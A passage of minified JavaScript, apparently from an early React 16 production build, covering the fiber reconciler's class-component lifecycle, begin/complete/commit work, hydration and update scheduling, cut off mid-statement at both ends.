is likely caused by a bug in React. Please file an issue.\");var a=li(e);if(r.props=i,r.state=o,r.refs=St,r.context=ui(e,a),xn.enableAsyncSubtreeAPI&&null!=e.type&&null!=e.type.prototype&&!0===e.type.prototype.unstable_isAsyncReactComponent&&(e.internalContextTag|=ii),\"function\"==typeof r.componentWillMount){l(e,r);var u=e.updateQueue;null!==u&&(r.state=pi(n,e,u,r,o,i,t))}\"function\"==typeof r.componentDidMount&&(e.effectTag|=oi)}function f(e,t,a){var u=t.stateNode;i(t,u);var l=t.memoizedProps,c=t.pendingProps;c||(c=l,Nt(null!=c,\"There should always be pending or memoized props. This error is likely caused by a bug in React. Please file an issue.\"));var f=u.context,d=li(t),p=ui(t,d);\"function\"!=typeof u.componentWillReceiveProps||l===c&&f===p||s(t,u,c,p);var h=t.memoizedState,g=void 0;if(g=null!==t.updateQueue?pi(e,t,t.updateQueue,u,h,c,a):h,!(l!==c||h!==g||gi()||null!==t.updateQueue&&t.updateQueue.hasForceUpdate))return\"function\"==typeof u.componentDidUpdate&&(l===e.memoizedProps&&h===e.memoizedState||(t.effectTag|=oi)),!1;var v=o(t,l,c,h,g,p);return v?(\"function\"==typeof u.componentWillUpdate&&u.componentWillUpdate(c,g,p),\"function\"==typeof u.componentDidUpdate&&(t.effectTag|=oi)):(\"function\"==typeof u.componentDidUpdate&&(l===e.memoizedProps&&h===e.memoizedState||(t.effectTag|=oi)),n(t,c),r(t,g)),u.props=c,u.state=g,u.context=p,v}var d={isMounted:vi,enqueueSetState:function(n,r,o){var i=Bn.get(n),a=t(i,!1);o=void 0===o?null:o,ci(i,r,o,a),e(i,a)},enqueueReplaceState:function(n,r,o){var i=Bn.get(n),a=t(i,!1);o=void 0===o?null:o,fi(i,r,o,a),e(i,a)},enqueueForceUpdate:function(n,r){var o=Bn.get(n),i=t(o,!1);r=void 0===r?null:r,di(o,r,i),e(o,i)}};return{adoptClassInstance:a,constructClassInstance:u,mountClassInstance:c,updateClassInstance:f}},yi=ri.mountChildFibersInPlace,bi=ri.reconcileChildFibers,Ci=ri.reconcileChildFibersInPlace,Pi=ri.cloneChildFibers,Ti=Mn.beginUpdateQueue,ki=Lr.getMaskedContext,xi=Lr.getUnmaskedContext,Ni=Lr.hasContextChanged,Ri=Lr.pushContextProvider,Si=Lr.pushTopLevelContextObject,wi=Lr.invalidateContextProvider,Ei=Sn.IndeterminateComponent,Ii=Sn.FunctionalComponent,_i=Sn.ClassComponent,Hi=Sn.HostRoot,Fi=Sn.HostComponent,Ai=Sn.HostText,Di=Sn.HostPortal,Ui=Sn.CoroutineComponent,ji=Sn.CoroutineHandlerPhase,Wi=Sn.YieldComponent,Li=Sn.Fragment,Oi=Rn.NoWork,Mi=Rn.OffscreenPriority,zi=Nn.PerformedWork,Yi=Nn.Placement,Bi=Nn.ContentReset,Qi=Nn.Err,Xi=Nn.Ref,Vi=Vn.ReactCurrentOwner,Gi=function(e,t,n,r,o){function i(e,t,n){a(e,t,n,t.pendingWorkPriority)}function a(e,t,n,r){null===e?t.child=yi(t,t.child,n,r):e.child===t.child?t.child=bi(t,t.child,n,r):t.child=Ci(t,t.child,n,r)}function u(e,t){var n=t.pendingProps;if(Ni())null===n&&(n=t.memoizedProps);else if(null===n||t.memoizedProps===n)return y(e,t);return i(e,t,n),C(t,n),t.child}function l(e,t){var n=t.ref;null===n||e&&e.ref===n||(t.effectTag|=Xi)}function s(e,t){var n=t.type,r=t.pendingProps,o=t.memoizedProps;if(Ni())null===r&&(r=o);else if(null===r||o===r)return y(e,t);var a,u=xi(t),l=ki(t,u);return a=n(r,l),t.effectTag|=zi,i(e,t,a),C(t,r),t.child}function c(e,t,n){var r=Ri(t),o=void 0;return null===e?t.stateNode?Nt(!1,\"Resuming work not yet implemented.\"):(A(t,t.pendingProps),D(t,n),o=!0):o=U(e,t,n),f(e,t,o,r)}function f(e,t,n,r){if(l(e,t),!n)return r&&wi(t,!1),y(e,t);var o=t.stateNode;Vi.current=t;var a=void 0;return a=o.render(),t.effectTag|=zi,i(e,t,a),P(t,o.state),C(t,o.props),r&&wi(t,!0),t.child}function d(e,t,n){var r=t.stateNode;r.pendingContext?Si(t,r.pendingContext,r.pendingContext!==r.context):r.context&&Si(t,r.context,!1),w(t,r.containerInfo);var o=t.updateQueue;if(null!==o){var a=t.memoizedState,u=Ti(e,t,o,null,a,null,n);if(a===u)return I(),y(e,t);var l=u.element;return null!==e&&null!==e.child||!E(t)?(I(),i(e,t,l)):(t.effectTag|=Yi,t.child=yi(t,t.child,l,n)),P(t,u),t.child}return I(),y(e,t)}function p(e,t,n){S(t),null===e&&_(t);var r=t.type,o=t.memoizedProps,a=t.pendingProps;null===a&&(a=o,Nt(null!==a,\"We should always have pending or current props. This error is likely caused by a bug in React. Please file an issue.\"));var u=null!==e?e.memoizedProps:null;if(Ni());else if(null===a||o===a)return y(e,t);var s=a.children;return x(r,a)?s=null:u&&x(r,u)&&(t.effectTag|=Bi),l(e,t),n!==Mi&&!N&&R(r,a)?(t.pendingWorkPriority=Mi,null):(i(e,t,s),C(t,a),t.child)}function h(e,t){null===e&&_(t);var n=t.pendingProps;return null===n&&(n=t.memoizedProps),C(t,n),null}function g(e,t,n){Nt(null===e,\"An indeterminate component should never have mounted. This error is likely caused by a bug in React. Please file an issue.\");var r,o=t.type,a=t.pendingProps,u=xi(t),l=ki(t,u);if(r=o(a,l),t.effectTag|=zi,\"object\"==typeof r&&null!==r&&\"function\"==typeof r.render){t.tag=_i;var s=Ri(t);return F(t,r),D(t,n),f(e,t,!0,s)}return t.tag=Ii,i(e,t,r),C(t,a),t.child}function v(e,t){var n=t.pendingProps;Ni()?null===n&&(n=e&&e.memoizedProps,Nt(null!==n,\"We should always have pending or current props. This error is likely caused by a bug in React. Please file an issue.\")):null!==n&&t.memoizedProps!==n||(n=t.memoizedProps);var r=n.children,o=t.pendingWorkPriority;return null===e?t.stateNode=yi(t,t.stateNode,r,o):e.child===t.child?t.stateNode=bi(t,t.stateNode,r,o):t.stateNode=Ci(t,t.stateNode,r,o),C(t,n),t.stateNode}function m(e,t){w(t,t.stateNode.containerInfo);var n=t.pendingWorkPriority,r=t.pendingProps;if(Ni())null===r&&(r=e&&e.memoizedProps,Nt(null!=r,\"We should always have pending or current props. This error is likely caused by a bug in React. Please file an issue.\"));else if(null===r||t.memoizedProps===r)return y(e,t);return null===e?(t.child=Ci(t,t.child,r,n),C(t,r)):(i(e,t,r),C(t,r)),t.child}function y(e,t){return Pi(e,t),t.child}function b(e,t){switch(t.tag){case _i:Ri(t);break;case Di:w(t,t.stateNode.containerInfo)}return null}function C(e,t){e.memoizedProps=t}function P(e,t){e.memoizedState=t}function T(e,t,n){if(t.pendingWorkPriority===Oi||t.pendingWorkPriority>n)return b(e,t);switch(t.tag){case Ei:return g(e,t,n);case Ii:return s(e,t);case _i:return c(e,t,n);case Hi:return d(e,t,n);case Fi:return p(e,t,n);case Ai:return h(e,t);case ji:t.tag=Ui;case Ui:return v(e,t);case Wi:return null;case Di:return m(e,t);case Li:return u(e,t);default:Nt(!1,\"Unknown unit of work tag. This error is likely caused by a bug in React. Please file an issue.\")}}function k(e,t,n){switch(t.tag){case _i:Ri(t);break;case Hi:var r=t.stateNode;w(t,r.containerInfo);break;default:Nt(!1,\"Invalid type of work. This error is likely caused by a bug in React. Please file an issue.\")}if(t.effectTag|=Qi,null===e?t.child=null:t.child!==e.child&&(t.child=e.child),t.pendingWorkPriority===Oi||t.pendingWorkPriority>n)return b(e,t);if(t.firstEffect=null,t.lastEffect=null,a(e,t,null,n),t.tag===_i){var o=t.stateNode;t.memoizedProps=o.props,t.memoizedState=o.state}return t.child}var x=e.shouldSetTextContent,N=e.useSyncScheduling,R=e.shouldDeprioritizeSubtree,S=t.pushHostContext,w=t.pushHostContainer,E=n.enterHydrationState,I=n.resetHydrationState,_=n.tryToClaimNextHydratableInstance,H=mi(r,o,C,P),F=H.adoptClassInstance,A=H.constructClassInstance,D=H.mountClassInstance,U=H.updateClassInstance;return{beginWork:T,beginFailedWork:k}},$i=ri.reconcileChildFibers,qi=Lr.popContextProvider,Ji=Sn.IndeterminateComponent,Ki=Sn.FunctionalComponent,Zi=Sn.ClassComponent,ea=Sn.HostRoot,ta=Sn.HostComponent,na=Sn.HostText,ra=Sn.HostPortal,oa=Sn.CoroutineComponent,ia=Sn.CoroutineHandlerPhase,aa=Sn.YieldComponent,ua=Sn.Fragment,la=Nn.Placement,sa=Nn.Ref,ca=Nn.Update,fa=Rn.OffscreenPriority,da=function(e,t,n){function r(e){e.effectTag|=ca}function o(e){e.effectTag|=sa}function i(e,t){var n=t.stateNode;for(n&&(n.return=t);null!==n;){if(n.tag===ta||n.tag===na||n.tag===ra)Nt(!1,\"A coroutine cannot have host component children.\");else if(n.tag===aa)e.push(n.type);else if(null!==n.child){n.child.return=n,n=n.child;continue}for(;null===n.sibling;){if(null===n.return||n.return===t)return;n=n.return}n.sibling.return=n.return,n=n.sibling}}function a(e,t){var n=t.memoizedProps;Nt(n,\"Should be resolved by now. This error is likely caused by a bug in React. Please file an issue.\"),t.tag=ia;var r=[];i(r,t);var o=n.handler,a=n.props,u=o(a,r),l=null!==e?e.child:null,s=t.pendingWorkPriority;return t.child=$i(t,l,u,s),t.child}function u(e,t){for(var n=t.child;null!==n;){if(n.tag===ta||n.tag===na)f(e,n.stateNode);else if(n.tag===ra);else if(null!==n.child){n=n.child;continue}if(n===t)return;for(;null===n.sibling;){if(null===n.return||n.return===t)return;n=n.return}n=n.sibling}}function l(e,t,n){var i=t.pendingProps;switch(null===i?i=t.memoizedProps:t.pendingWorkPriority===fa&&n!==fa||(t.pendingProps=null),t.tag){case Ki:return null;case Zi:return qi(t),null;case ea:var l=t.stateNode;return l.pendingContext&&(l.context=l.pendingContext,l.pendingContext=null),null!==e&&null!==e.child||(C(t),t.effectTag&=~la),null;case ta:g(t);var f=h(),P=t.type;if(null!==e&&null!=t.stateNode){var T=e.memoizedProps,k=t.stateNode,x=v(),N=p(k,P,T,i,f,x);t.updateQueue=N,N&&r(t),e.ref!==t.ref&&o(t)}else{if(!i)return Nt(null!==t.stateNode,\"We must have new props for new mounts. This error is likely caused by a bug in React. Please file an issue.\"),null;var R=v();if(C(t))y(t,f)&&r(t);else{var S=s(P,i,f,R,t);u(S,t),d(S,P,i,f)&&r(t),t.stateNode=S}null!==t.ref&&o(t)}return null;case na:var w=i;if(e&&null!=t.stateNode)e.memoizedProps!==w&&r(t);else{if(\"string\"!=typeof w)return Nt(null!==t.stateNode,\"We must have new props for new mounts. This error is likely caused by a bug in React. Please file an issue.\"),null;var E=h(),I=v();C(t)?b(t)&&r(t):t.stateNode=c(w,E,I,t)}return null;case oa:return a(e,t);case ia:return t.tag=oa,null;case aa:case ua:return null;case ra:return r(t),m(t),null;case Ji:Nt(!1,\"An indeterminate component should have become determinate before completing. This error is likely caused by a bug in React. Please file an issue.\");default:Nt(!1,\"Unknown unit of work tag. This error is likely caused by a bug in React. Please file an issue.\")}}var s=e.createInstance,c=e.createTextInstance,f=e.appendInitialChild,d=e.finalizeInitialChildren,p=e.prepareUpdate,h=t.getRootHostContainer,g=t.popHostContext,v=t.getHostContext,m=t.popHostContainer,y=n.prepareToHydrateHostInstance,b=n.prepareToHydrateHostTextInstance,C=n.popHydrationState;return{completeWork:l}},pa=null,ha=null,ga=le,va=se,ma=ce,ya={injectInternals:ga,onCommitRoot:va,onCommitUnmount:ma},ba=Sn.ClassComponent,Ca=Sn.HostRoot,Pa=Sn.HostComponent,Ta=Sn.HostText,ka=Sn.HostPortal,xa=Sn.CoroutineComponent,Na=Mn.commitCallbacks,Ra=ya.onCommitUnmount,Sa=Nn.Placement,wa=Nn.Update,Ea=Nn.Callback,Ia=Nn.ContentReset,_a=function(e,t){function n(e,n){try{n.componentWillUnmount()}catch(n){t(e,n)}}function r(e){var n=e.ref;if(null!==n)try{n(null)}catch(n){t(e,n)}}function o(e){for(var t=e.return;null!==t;){if(i(t))return t;t=t.return}Nt(!1,\"Expected to find a host parent. This error is likely caused by a bug in React. Please file an issue.\")}function i(e){return e.tag===Pa||e.tag===Ca||e.tag===ka}function a(e){var t=e;e:for(;!0;){for(;null===t.sibling;){if(null===t.return||i(t.return))return null;t=t.return}for(t.sibling.return=t.return,t=t.sibling;t.tag!==Pa&&t.tag!==Ta;){if(t.effectTag&Sa)continue e;if(null===t.child||t.tag===ka)continue e;t.child.return=t,t=t.child}if(!(t.effectTag&Sa))return t.stateNode}}function u(e){var t=o(e),n=void 0,r=void 0;switch(t.tag){case Pa:n=t.stateNode,r=!1;break;case Ca:case ka:n=t.stateNode.containerInfo,r=!0;break;default:Nt(!1,\"Invalid host parent fiber. This error is likely caused by a bug in React. Please file an issue.\")}t.effectTag&Ia&&(y(n),t.effectTag&=~Ia);for(var i=a(e),u=e;!0;){if(u.tag===Pa||u.tag===Ta)i?r?k(n,u.stateNode,i):T(n,u.stateNode,i):r?P(n,u.stateNode):C(n,u.stateNode);else if(u.tag===ka);else if(null!==u.child){u.child.return=u,u=u.child;continue}if(u===e)return;for(;null===u.sibling;){if(null===u.return||u.return===e)return;u=u.return}u.sibling.return=u.return,u=u.sibling}}function l(e){for(var t=e;!0;)if(f(t),null===t.child||t.tag===ka){if(t===e)return;for(;null===t.sibling;){if(null===t.return||t.return===e)return;t=t.return}t.sibling.return=t.return,t=t.sibling}else t.child.return=t,t=t.child}function s(e){for(var t=e,n=!1,r=void 0,o=void 0;!0;){if(!n){var i=t.return;e:for(;!0;){switch(Nt(null!==i,\"Expected to find a host parent. This error is likely caused by a bug in React. Please file an issue.\"),i.tag){case Pa:r=i.stateNode,o=!1;break e;case Ca:case ka:r=i.stateNode.containerInfo,o=!0;break e}i=i.return}n=!0}if(t.tag===Pa||t.tag===Ta)l(t),o?N(r,t.stateNode):x(r,t.stateNode);else if(t.tag===ka){if(r=t.stateNode.containerInfo,null!==t.child){t.child.return=t,t=t.child;continue}}else if(f(t),null!==t.child){t.child.return=t,t=t.child;continue}if(t===e)return;for(;null===t.sibling;){if(null===t.return||t.return===e)return;t=t.return,t.tag===ka&&(n=!1)}t.sibling.return=t.return,t=t.sibling}}function c(e){s(e),e.return=null,e.child=null,e.alternate&&(e.alternate.child=null,e.alternate.return=null)}function f(e){switch(\"function\"==typeof Ra&&Ra(e),e.tag){case ba:r(e);var t=e.stateNode;return void(\"function\"==typeof t.componentWillUnmount&&n(e,t));case Pa:return void r(e);case xa:return void l(e.stateNode);case ka:return void s(e)}}function d(e,t){switch(t.tag){case ba:return;case Pa:var n=t.stateNode;if(null!=n){var r=t.memoizedProps,o=null!==e?e.memoizedProps:r,i=t.type,a=t.updateQueue;t.updateQueue=null,null!==a&&m(n,a,i,o,r,t)}return;case Ta:Nt(null!==t.stateNode,\"This should have a text node initialized. This error is likely caused by a bug in React. Please file an issue.\");var u=t.stateNode,l=t.memoizedProps,s=null!==e?e.memoizedProps:l;return void b(u,s,l);case Ca:case ka:return;default:Nt(!1,\"This unit of work tag should not have side-effects. This error is likely caused by a bug in React. Please file an issue.\")}}function p(e,t){switch(t.tag){case ba:var n=t.stateNode;if(t.effectTag&wa)if(null===e)n.componentDidMount();else{var r=e.memoizedProps,o=e.memoizedState;n.componentDidUpdate(r,o)}return void(t.effectTag&Ea&&null!==t.updateQueue&&Na(t,t.updateQueue,n));case Ca:var i=t.updateQueue;if(null!==i){var a=t.child&&t.child.stateNode;Na(t,i,a)}return;case Pa:var u=t.stateNode;if(null===e&&t.effectTag&wa){var l=t.type,s=t.memoizedProps;v(u,l,s,t)}return;case Ta:case ka:return;default:Nt(!1,\"This unit of work tag should not have side-effects. This error is likely caused by a bug in React. Please file an issue.\")}}function h(e){var t=e.ref;if(null!==t){var n=e.stateNode;switch(e.tag){case Pa:t(R(n));break;default:t(n)}}}function g(e){var t=e.ref;null!==t&&t(null)}var v=e.commitMount,m=e.commitUpdate,y=e.resetTextContent,b=e.commitTextUpdate,C=e.appendChild,P=e.appendChildToContainer,T=e.insertBefore,k=e.insertInContainerBefore,x=e.removeChild,N=e.removeChildFromContainer,R=e.getPublicInstance;return{commitPlacement:u,commitDeletion:c,commitWork:d,commitLifeCycles:p,commitAttachRef:h,commitDetachRef:g}},Ha=vr.createCursor,Fa=vr.pop,Aa=vr.push,Da={},Ua=function(e){function t(e){return Nt(e!==Da,\"Expected host context to exist. This error is likely caused by a bug in React. Please file an issue.\"),e}function n(){return t(p.current)}function r(e,t){Aa(p,t,e);var n=c(t);Aa(d,e,e),Aa(f,n,e)}function o(e){Fa(f,e),Fa(d,e),Fa(p,e)}function i(){return t(f.current)}function a(e){var n=t(p.current),r=t(f.current),o=s(r,e.type,n);r!==o&&(Aa(d,e,e),Aa(f,o,e))}function u(e){d.current===e&&(Fa(f,e),Fa(d,e))}function l(){f.current=Da,p.current=Da}var s=e.getChildHostContext,c=e.getRootHostContext,f=Ha(Da),d=Ha(Da),p=Ha(Da);return{getHostContext:i,getRootHostContainer:n,popHostContainer:o,popHostContext:u,pushHostContainer:r,pushHostContext:a,resetHostContainer:l}},ja=Sn.HostComponent,Wa=Sn.HostText,La=Sn.HostRoot,Oa=Nn.Deletion,Ma=Nn.Placement,za=fo.createFiberFromHostInstanceForDeletion,Ya=function(e){function t(e){var t=e.stateNode.containerInfo;return T=g(t),P=e,k=!0,!0}function n(e,t){var n=za();n.stateNode=t,n.return=e,n.effectTag=Oa,null!==e.lastEffect?(e.lastEffect.nextEffect=n,e.lastEffect=n):e.firstEffect=e.lastEffect=n}function r(e,t){t.effectTag|=Ma}function o(e,t){switch(e.tag){case ja:var n=e.type,r=e.pendingProps;return d(t,n,r);case Wa:var o=e.pendingProps;return p(t,o);default:return!1}}function i(e){if(k){var t=T;if(!t)return r(P,e),k=!1,void(P=e);if(!o(e,t)){if(!(t=h(t))||!o(e,t))return r(P,e),k=!1,void(P=e);n(P,T)}e.stateNode=t,P=e,T=g(t)}}function a(e,t){var n=e.stateNode,r=v(n,e.type,e.memoizedProps,t,e);return e.updateQueue=r,null!==r}function u(e){var t=e.stateNode;return m(t,e.memoizedProps,e)}function l(e){for(var t=e.return;null!==t&&t.tag!==ja&&t.tag!==La;)t=t.return;P=t}function s(e){if(e!==P)return!1;if(!k)return l(e),k=!0,!1;var t=e.type;if(e.tag!==ja||\"head\"!==t&&\"body\"!==t&&!f(t,e.memoizedProps))for(var r=T;r;)n(e,r),r=h(r);return l(e),T=P?h(e.stateNode):null,!0}function c(){P=null,T=null,k=!1}var f=e.shouldSetTextContent,d=e.canHydrateInstance,p=e.canHydrateTextInstance,h=e.getNextHydratableSibling,g=e.getFirstHydratableChild,v=e.hydrateInstance,m=e.hydrateTextInstance,y=e.didNotHydrateInstance,b=e.didNotFindHydratableInstance,C=e.didNotFindHydratableTextInstance;if(!(d&&p&&h&&g&&v&&m&&y&&b&&C))return{enterHydrationState:function(){return!1},resetHydrationState:function(){},tryToClaimNextHydratableInstance:function(){},prepareToHydrateHostInstance:function(){Nt(!1,\"Expected prepareToHydrateHostInstance() to never be called. This error is likely caused by a bug in React. Please file an issue.\")},prepareToHydrateHostTextInstance:function(){Nt(!1,\"Expected prepareToHydrateHostTextInstance() to never be called. This error is likely caused by a bug in React. Please file an issue.\")},popHydrationState:function(e){return!1}};var P=null,T=null,k=!1;return{enterHydrationState:t,resetHydrationState:c,tryToClaimNextHydratableInstance:i,prepareToHydrateHostInstance:a,prepareToHydrateHostTextInstance:u,popHydrationState:s}},Ba=Lr.popContextProvider,Qa=vr.reset,Xa=Po.getStackAddendumByWorkInProgressFiber,Va=Bt.logCapturedError,Ga=Vn.ReactCurrentOwner,$a=fo.createWorkInProgress,qa=fo.largerPriority,Ja=ya.onCommitRoot,Ka=Rn.NoWork,Za=Rn.SynchronousPriority,eu=Rn.TaskPriority,tu=Rn.HighPriority,nu=Rn.LowPriority,ru=Rn.OffscreenPriority,ou=Or.AsyncUpdates,iu=Nn.PerformedWork,au=Nn.Placement,uu=Nn.Update,lu=Nn.PlacementAndUpdate,su=Nn.Deletion,cu=Nn.ContentReset,fu=Nn.Callback,du=Nn.Err,pu=Nn.Ref,hu=Sn.HostRoot,gu=Sn.HostComponent,vu=Sn.HostPortal,mu=Sn.ClassComponent,yu=Mn.getUpdatePriority,bu=Lr,Cu=bu.resetContext,Pu=1,Tu=function(e){function t(){Qa(),Cu(),A()}function n(){for(;null!==ae&&ae.current.pendingWorkPriority===Ka;){ae.isScheduled=!1;var e=ae.nextScheduledRoot;if(ae.nextScheduledRoot=null,ae===ue)return ae=null,ue=null,re=Ka,null;ae=e}for(var n=ae,r=null,o=Ka;null!==n;)n.current.pendingWorkPriority!==Ka&&(o===Ka||o>n.current.pendingWorkPriority)&&(o=n.current.pendingWorkPriority,r=n),n=n.nextScheduledRoot;return null!==r?(re=o,t(),void(ne=$a(r.current,o))):(re=Ka,void(ne=null))}function r(){for(;null!==oe;){var t=oe.effectTag;if(t&cu&&e.resetTextContent(oe.stateNode),t&pu){var n=oe.alternate;null!==n&&X(n)}switch(t&~(fu|du|cu|pu|iu)){case au:M(oe),oe.effectTag&=~au;break;case lu:M(oe),oe.effectTag&=~au;var r=oe.alternate;Y(r,oe);break;case uu:var o=oe.alternate;Y(o,oe);break;case su:ge=!0,z(oe),ge=!1}oe=oe.nextEffect}}function o(){for(;null!==oe;){var e=oe.effectTag;if(e&(uu|fu)){var t=oe.alternate;B(t,oe)}e&pu&&Q(oe),e&du&&y(oe);var n=oe.nextEffect;oe.nextEffect=null,oe=n}}function i(e){he=!0,ie=null;var t=e.stateNode;Nt(t.current!==e,\"Cannot commit the same tree as before. This is probably a bug related to the return field. This error is likely caused by a bug in React. Please file an issue.\"),re!==Za&&re!==eu||me++,Ga.current=null;var i=void 0;for(e.effectTag>iu?null!==e.lastEffect?(e.lastEffect.nextEffect=e,i=e.firstEffect):i=e:i=e.firstEffect,$(),oe=i;null!==oe;){var a=!1,u=void 0;try{r()}catch(e){a=!0,u=e}a&&(Nt(null!==oe,\"Should have next effect. This error is likely caused by a bug in React. Please file an issue.\"),g(oe,u),null!==oe&&(oe=oe.nextEffect))}for(q(),t.current=e,oe=i;null!==oe;){var l=!1,s=void 0;try{o()}catch(e){l=!0,s=e}l&&(Nt(null!==oe,\"Should have next effect. This error is likely caused by a bug in React. Please file an issue.\"),g(oe,s),null!==oe&&(oe=oe.nextEffect))}he=!1,\"function\"==typeof Ja&&Ja(e.stateNode),fe&&(fe.forEach(x),fe=null),n()}function a(e,t){if(!(e.pendingWorkPriority!==Ka&&e.pendingWorkPriority>t)){for(var n=yu(e),r=e.child;null!==r;)n=qa(n,r.pendingWorkPriority),r=r.sibling;e.pendingWorkPriority=n}}function u(e){for(;!0;){var t=e.alternate,n=L(t,e,re),r=e.return,o=e.sibling;if(a(e,re),null!==n)return n;if(null!==r&&(null===r.firstEffect&&(r.firstEffect=e.firstEffect),null!==e.lastEffect&&(null!==r.lastEffect&&(r.lastEffect.nextEffect=e.firstEffect),r.lastEffect=e.lastEffect),e.effectTag>iu&&(null!==r.lastEffect?r.lastEffect.nextEffect=e:r.firstEffect=e,r.lastEffect=e)),null!==o)return o;\nif(null===r)return ie=e,null;e=r}return null}function l(e){var t=e.alternate,n=U(t,e,re);return null===n&&(n=u(e)),Ga.current=null,n}function s(e){var t=e.alternate,n=j(t,e,re);return null===n&&(n=u(e)),Ga.current=null,n}function c(e){h(ru,e)}function f(){if(null!==se&&se.size>0&&re===eu)for(;null!==ne&&(null!==(ne=v(ne)?s(ne):l(ne))||(Nt(null!==ie,\"Should have a pending commit. This error is likely caused by a bug in React. Please file an issue.\"),J=eu,i(ie),J=re,null!==se&&0!==se.size&&re===eu)););}function d(e,t){if(null!==ie?(J=eu,i(ie),f()):null===ne&&n(),!(re===Ka||re>e)){J=re;e:for(;;){if(re<=eu)for(;null!==ne&&!(null===(ne=l(ne))&&(Nt(null!==ie,\"Should have a pending commit. This error is likely caused by a bug in React. Please file an issue.\"),J=eu,i(ie),J=re,f(),re===Ka||re>e||re>eu)););else if(null!==t)for(;null!==ne&&!Z;)if(t.timeRemaining()>Pu){if(null===(ne=l(ne)))if(Nt(null!==ie,\"Should have a pending commit. This error is likely caused by a bug in React. Please file an issue.\"),t.timeRemaining()>Pu){if(J=eu,i(ie),J=re,f(),re===Ka||re>e||re<tu)break}else Z=!0}else Z=!0;switch(re){case Za:case eu:if(re<=e)continue e;break e;case tu:case nu:case ru:if(null===t)break e;if(!Z&&re<=e)continue e;break e;case Ka:break e;default:Nt(!1,\"Switch statement should be exhuastive. This error is likely caused by a bug in React. Please file an issue.\")}}}}function p(e,t,n,r){b(e,t),ne=s(t),d(n,r)}function h(e,t){Nt(!K,\"performWork was called recursively. This error is likely caused by a bug in React. Please file an issue.\"),K=!0,me=0;var n=J,r=!1,o=null;try{d(e,t)}catch(e){r=!0,o=e}for(;r;){if(pe){de=o;break}var i=ne;if(null!==i){var a=g(i,o);if(Nt(null!==a,\"Should have found an error boundary. This error is likely caused by a bug in React. Please file an issue.\"),!pe){r=!1,o=null;try{p(i,a,e,t),o=null}catch(e){r=!0,o=e;continue}break}}else pe=!0}J=n,null!==t&&(le=!1),re>eu&&!le&&(V(c),le=!0);var u=de;if(K=!1,Z=!1,pe=!1,de=null,se=null,ce=null,null!==u)throw u}function g(e,t){Ga.current=null;var n=null,r=!1,o=!1,i=null;if(e.tag===hu)n=e,m(e)&&(pe=!0);else for(var a=e.return;null!==a&&null===n;){if(a.tag===mu){var u=a.stateNode;\"function\"==typeof u.componentDidCatch&&(r=!0,i=zn(a),n=a,o=!0)}else a.tag===hu&&(n=a);if(m(a)){if(ge)return null;if(null!==fe&&(fe.has(a)||null!==a.alternate&&fe.has(a.alternate)))return null;n=null,o=!1}a=a.return}if(null!==n){null===ce&&(ce=new Set),ce.add(n);var l=Xa(e),s=zn(e);null===se&&(se=new Map);var c={componentName:s,componentStack:l,error:t,errorBoundary:r?n.stateNode:null,errorBoundaryFound:r,errorBoundaryName:i,willRetry:o};se.set(n,c);try{Va(c)}catch(e){console.error(e)}return he?(null===fe&&(fe=new Set),fe.add(n)):x(n),n}return null===de&&(de=t),null}function v(e){return null!==se&&(se.has(e)||null!==e.alternate&&se.has(e.alternate))}function m(e){return null!==ce&&(ce.has(e)||null!==e.alternate&&ce.has(e.alternate))}function y(e){var t=void 0;switch(null!==se&&(t=se.get(e),se.delete(e),null==t&&null!==e.alternate&&(e=e.alternate,t=se.get(e),se.delete(e))),Nt(null!=t,\"No error for given unit of work. This error is likely caused by a bug in React. Please file an issue.\"),e.tag){case mu:var n=e.stateNode,r={componentStack:t.componentStack};return void n.componentDidCatch(t.error,r);case hu:return void(null===de&&(de=t.error));default:Nt(!1,\"Invalid type of work. This error is likely caused by a bug in React. Please file an issue.\")}}function b(e,t){for(var n=e;null!==n;){switch(n.tag){case mu:Ba(n);break;case gu:F(n);break;case hu:case vu:H(n)}if(n===t||n.alternate===t)break;n=n.return}}function C(e,t){t!==Ka&&(e.isScheduled||(e.isScheduled=!0,ue?(ue.nextScheduledRoot=e,ue=e):(ae=e,ue=e)))}function P(e,t){return T(e,t,!1)}function T(e,t,n){me>ve&&(pe=!0,Nt(!1,\"Maximum update depth exceeded. This can happen when a component repeatedly calls setState inside componentWillUpdate or componentDidUpdate. React limits the number of nested updates to prevent infinite loops.\")),!K&&t<=re&&(ne=null);for(var r=e,o=!0;null!==r&&o;){if(o=!1,(r.pendingWorkPriority===Ka||r.pendingWorkPriority>t)&&(o=!0,r.pendingWorkPriority=t),null!==r.alternate&&(r.alternate.pendingWorkPriority===Ka||r.alternate.pendingWorkPriority>t)&&(o=!0,r.alternate.pendingWorkPriority=t),null===r.return){if(r.tag!==hu)return;if(C(r.stateNode,t),!K)switch(t){case Za:te?h(Za,null):h(eu,null);break;case eu:Nt(ee,\"Task updates can only be scheduled as a nested update or inside batchedUpdates.\");break;default:le||(V(c),le=!0)}}r=r.return}}function k(e,t){var n=J;return n===Ka&&(n=!G||e.internalContextTag&ou||t?nu:Za),n===Za&&(K||ee)?eu:n}function x(e){T(e,eu,!0)}function N(e,t){var n=J;J=e;try{t()}finally{J=n}}function R(e,t){var n=ee;ee=!0;try{return e(t)}finally{ee=n,K||ee||h(eu,null)}}function S(e){var t=te,n=ee;te=ee,ee=!1;try{return e()}finally{ee=n,te=t}}function w(e){var t=ee,n=J;ee=!0,J=Za;try{return e()}finally{ee=t,J=n,Nt(!K,\"flushSync was called from inside a lifecycle method. It cannot be called when React is already rendering.\"),h(eu,null)}}function E(e){var t=J;J=nu;try{return e()}finally{J=t}}var I=Ua(e),_=Ya(e),H=I.popHostContainer,F=I.popHostContext,A=I.resetHostContainer,D=Gi(e,I,_,P,k),U=D.beginWork,j=D.beginFailedWork,W=da(e,I,_),L=W.completeWork,O=_a(e,g),M=O.commitPlacement,z=O.commitDeletion,Y=O.commitWork,B=O.commitLifeCycles,Q=O.commitAttachRef,X=O.commitDetachRef,V=e.scheduleDeferredCallback,G=e.useSyncScheduling,$=e.prepareForCommit,q=e.resetAfterCommit,J=Ka,K=!1,Z=!1,ee=!1,te=!1,ne=null,re=Ka,oe=null,ie=null,ae=null,ue=null,le=!1,se=null,ce=null,fe=null,de=null,pe=!1,he=!1,ge=!1,ve=1e3,me=0;return{scheduleUpdate:P,getPriorityContext:k,performWithPriority:N,batchedUpdates:R,unbatchedUpdates:S,flushSync:w,deferredUpdates:E}},ku=function(e){Nt(!1,\"Missing injection for fiber getContextForSubtree\")};fe._injectFiber=function(e){ku=e};var 